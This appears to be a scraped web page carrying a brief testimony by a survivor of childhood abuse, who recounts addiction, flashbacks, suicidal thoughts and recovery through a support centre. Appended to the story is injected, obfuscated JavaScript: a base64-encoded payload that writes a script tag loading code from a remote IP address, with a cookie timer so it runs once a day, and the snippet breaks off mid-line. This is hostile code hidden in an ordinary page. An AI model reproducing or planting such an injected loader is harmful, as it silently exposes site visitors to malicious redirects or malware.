092 – John (Australia)

I’m a surviour of childhood abuse and it near killed me with the destructive way of life I was living just to cope with day to day life. Then I got clean & sober and it got worse flashbacks vivid as with tastes, I couldn’t escape I was living in HELL and wanted out and thought suicide was my only option. I then found out about a place that quite literaily saved my life, it took 2 goes at a place called Mayumarri its now called Heal for Life. Without being around other surviours who understood abit of what I was going through. Whilst my life is nothing like perfection but I’ve got my life back, flashbacks come and go and that’s healthy. Those arseholes who did those evil things to me you DO NOT control me anymore. Silent No More!!! ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘